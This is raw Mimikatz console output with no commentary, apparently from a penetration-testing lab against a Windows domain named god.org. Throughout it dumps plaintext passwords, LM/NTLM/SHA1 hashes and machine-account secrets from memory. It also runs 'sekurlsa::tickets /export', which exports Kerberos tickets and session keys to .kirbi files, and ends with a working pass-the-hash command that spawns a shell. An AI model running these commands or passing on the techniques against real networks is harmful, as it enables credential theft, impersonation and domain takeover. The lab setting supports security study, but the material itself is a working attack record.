	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : webserver$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :

明文密码

msv :	
	 [00000003] Primary
	 * Username : webadmin
	 * Domain   : GOD
	 * LM       : e90127c07127ed12f4ebf668acca53e9
	 * NTLM     : 518b98ad4178a53695dc997aa02d455c
	 * SHA1     : 39aa99a9e2a53ffcbe1b9eb411e8176681d01c39
	tspkg :	
	 * Username : webadmin
	 * Domain   : GOD
	 * Password : admin!@#45
	wdigest :	
	 * Username : webadmin
	 * Domain   : GOD
	 * Password : admin!@#45
	kerberos :	
	 * Username : webadmin
	 * Domain   : GOD.ORG
	 * Password : admin!@#45	

msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * LM       : e90127c07127ed12f4ebf668acca53e9
	 * NTLM     : 518b98ad4178a53695dc997aa02d455c
	 * SHA1     : 39aa99a9e2a53ffcbe1b9eb411e8176681d01c39
	tspkg :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	wdigest :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	kerberos :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	ssp :	
	 [00000000]
	 * Username : administrator
	 * Domain   : god.org
	 * Password : Admin12345

admin!@#45

Admin12345

sekurlsa::tickets /export

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 521318 (00000000:0007f466)
Session           : Interactive from 1
User Name         : webadmin
Domain            : GOD
Logon Server      : OWA2010CN-GOD
Logon Time        : 2022/5/8 20:39:30
SID               : S-1-5-21-1218902331-2157346161-1782232778-1132

	 * Username : webadmin
	 * Domain   : GOD.ORG
	 * Password : admin!@#45

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 2022/5/9 16:15:38 ; 2022/5/10 2:15:37 ; 2022/5/16 16:15:37
	   Service Name (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Target Name  (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Client Name  (01) : webadmin ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     ea39bed289f092e8cf2845b7ffe5397e0e699458968c223c31a3d32aa71a93f1
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;7f466][email protected] !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/9 16:15:38 ; 2022/5/10 2:15:37 ; 2022/5/16 16:15:37
	   Service Name (02) : ldap ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Target Name  (02) : ldap ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Client Name  (01) : webadmin ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     93f1baf5bb4e4258d23cec2c4a6bf5f65f1a18cd2494ef53f0ed68dbe4f81f95
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;7f466][email protected] !
	 [00000002]
	   Start/End/MaxRenew: 2022/5/9 16:15:37 ; 2022/5/10 2:15:37 ; 2022/5/16 16:15:37
	   Service Name (02) : LDAP ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Target Name  (02) : LDAP ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Client Name  (01) : webadmin ; @ GOD.ORG ( GOD.ORG )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     75e109dea1221dc62da708ff96e603a90c59235ea580cf3e02883e1ef48a0f3b
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;7f466][email protected] !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 2022/5/9 18:09:39 ; 2022/5/10 2:15:37 ; 2022/5/16 16:15:37
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (--) : @ GOD.ORG
	   Client Name  (01) : webadmin ; @ GOD.ORG ( $$Delegation Ticket$$ )
	   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     de273923e3037a584c5e923f3ffc07d4
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;7f466][email protected] !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/9 16:15:37 ; 2022/5/10 2:15:37 ; 2022/5/16 16:15:37
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Client Name  (01) : webadmin ; @ GOD.ORG ( GOD.ORG )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     374caa3982dc6e9cdefd0e3e1e3e2f75
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;7f466][email protected] !

Authentication Id : 0 ; 143584 (00000000:000230e0)
Session           : Service from 0
User Name         : MSSQLFDLauncher
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:53
SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582

	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEBSERVER$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-20

	 * Username : webserver$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:38:58 ; 2022/5/11 19:38:58 ; 2022/5/18 9:38:58
	   Service Name (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Target Name  (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     7563f945aabcd576b34538eb2cc6db302b7c45d83a5153331d8cafacf3c2909b
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e4]-0-0-40a40000-WEBSERVER$@cifs-OWA2010CN-God.god.org.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/8 20:28:52 ; 2022/5/9 6:26:55 ; 2022/5/15 20:26:55
	   Service Name (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Target Name  (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     6cd9a264fe6fe560fb03ff9c9e34e43134a771923ce0b5f9cc0aaf259bdbd621
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e4]-0-1-40a40000-WEBSERVER$@ldap-OWA2010CN-God.god.org.kirbi !
	 [00000002]
	   Start/End/MaxRenew: 2022/5/8 20:28:00 ; 2022/5/9 6:26:55 ; 2022/5/15 20:26:55
	   Service Name (02) : GC ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Target Name  (02) : GC ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     8caccc473976fac47fb9c83182b718f239ffcefa2f2f70405652ab4e6288e63f
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e4]-0-2-40a40000-WEBSERVER$@GC-OWA2010CN-God.god.org.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:38:58 ; 2022/5/11 19:38:58 ; 2022/5/18 9:38:58
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (--) : @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( $$Delegation Ticket$$ )
	   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     d8a9c55d83c3166df6d9af44e0639fb3
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e4]-2-0-60a00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/11 9:38:58 ; 2022/5/11 19:38:58 ; 2022/5/18 9:38:58
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     7f08fbc5a6a030c1fd501ebe8f86ba71
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e4]-2-1-40e00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi !

Authentication Id : 0 ; 794675 (00000000:000c2033)
Session           : Interactive from 2
User Name         : Administrator
Domain            : WEBSERVER
Logon Server      : WEBSERVER
Logon Time        : 2022/5/8 20:47:14
SID               : S-1-5-21-95064677-3481858386-3840636109-500

	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 103189 (00000000:00019315)
Session           : Service from 0
User Name         : ReportServer
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:24
SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051

	 * Username : WEBSERVER$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:38:03 ; 2022/5/11 19:38:03 ; 2022/5/18 9:38:03
	   Service Name (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Target Name  (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     5f18cbb616402d28cf131ed89367ca99b25a084314808f11d4366d5bfc3e5a4b
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;19315]-0-0-40a40000-WEBSERVER$@ldap-OWA2010CN-God.god.org.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:38:03 ; 2022/5/11 19:38:03 ; 2022/5/18 9:38:03
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     8d984c87ecf26c446640297f71171ae6
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;19315]-2-0-40e00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi !

Authentication Id : 0 ; 99637 (00000000:00018535)
Session           : Service from 0
User Name         : MSSQLServerOLAPService
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:23
SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921

	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 98391 (00000000:00018057)
Session           : Service from 0
User Name         : MSSQLSERVER
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:23
SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003

	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 93005 (00000000:00016b4d)
Session           : Service from 0
User Name         : MsDtsServer110
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:22
SID               : S-1-5-80-1770670200-1234090253-3451813168-4041049723-2370973757

	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-19

	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEBSERVER$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-18

	 * Username : webserver$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:37:56 ; 2022/5/11 19:37:56 ; 2022/5/18 9:37:56
	   Service Name (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Target Name  (02) : ldap ; OWA2010CN-God.god.org ; god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     5fe3f04ad687339bcf64923e83ce8627a51f4fb6f1ff016d267d3419a4da7bc3
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e7]-0-0-40a40000-WEBSERVER$@ldap-OWA2010CN-God.god.org.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/9 18:07:27 ; 2022/5/10 2:15:16 ; 2022/5/16 16:15:16
	   Service Name (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Target Name  (02) : cifs ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     dd65f6a4745cc99d7e60d35307c94535ca8fc52f5a269858ab4c93bf8aaff191
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e7]-0-1-40a40000-WEBSERVER$@cifs-OWA2010CN-God.god.org.kirbi !
	 [00000002]
	   Start/End/MaxRenew: 2022/5/9 18:07:27 ; 2022/5/10 2:15:16 ; 2022/5/16 16:15:16
	   Service Name (01) : WEBSERVER$ ; @ GOD.ORG
	   Target Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Flags 40a00000    : pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     d9ef78dae50c2bdec48cfa9096f5adaba7b7cfac3cb3ae2b1f7495b553dee046
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 4	[...]
	   * Saved to file [0;3e7]-0-2-40a00000.kirbi !
	 [00000003]
	   Start/End/MaxRenew: 2022/5/8 20:26:01 ; 2022/5/9 6:26:01 ; 2022/5/15 20:26:01
	   Service Name (02) : LDAP ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Target Name  (02) : LDAP ; OWA2010CN-God.god.org ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     5d87b90fa493c5eac6e16b4f6b6a28ac933a20575473ffdf3d4b948961862ea7
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
	   * Saved to file [0;3e7]-0-3-40a40000-WEBSERVER$@LDAP-OWA2010CN-God.god.org.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 2022/5/11 9:37:56 ; 2022/5/11 19:37:56 ; 2022/5/18 9:37:56
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( GOD.ORG )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     df2cab8d222469eed10018c1a943523a
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e7]-2-0-40e00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 2022/5/9 18:07:27 ; 2022/5/10 2:15:16 ; 2022/5/16 16:15:16
	   Service Name (02) : krbtgt ; GOD.ORG ; @ GOD.ORG
	   Target Name  (--) : @ GOD.ORG
	   Client Name  (01) : WEBSERVER$ ; @ GOD.ORG ( $$Delegation Ticket$$ )
	   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ; 
	   Session Key       : 0x00000017 - rc4_hmac_nt      
	     9dcc24ee4e7657fc4d657574d0bc30c6
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e7]-2-1-60a00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi !

sekurlsa::pth /user:Administrateur /domain:god.org/ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

mimikatz # sekurlsa::pth /user:Administrateur /domain:god.org /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
user	: Administrateur
domain	: god.org
program	: cmd
impers.	: no
NTLM	: f193d757b4d487ab7e5a3743f038f713
  |  PID  2236
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 4635928 (00000000:0046bd18)
  \_ msv1_0   - data copy @ 0000000001991D90 : OK !
  \_ kerberos - data copy @ 00000000008E98A8
